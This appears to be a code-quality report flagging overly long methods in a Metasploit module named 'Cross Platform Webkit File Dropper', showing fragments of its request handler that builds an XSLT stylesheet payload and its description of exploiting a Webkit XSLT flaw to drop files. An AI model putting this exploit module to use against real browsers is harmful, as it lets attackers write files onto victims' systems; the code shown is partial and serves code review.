modules/auxiliary/server/webkit_xslt_dropper.rb
Method on_request_uri
has 39 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def on_request_uri(cli, request)
path = datastore['REMOTE_PATH']
content = datastore['REMOTE_CONTENT']
html = <<-EOS
<?xml-stylesheet type="text/xml" href="#fragment"?>
Method initialize
has 27 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(update_info(info,
'Name' => 'Cross Platform Webkit File Dropper',
'Description' => %q{
This module exploits a XSLT vulnerability in Webkit to drop ASCII or UTF-8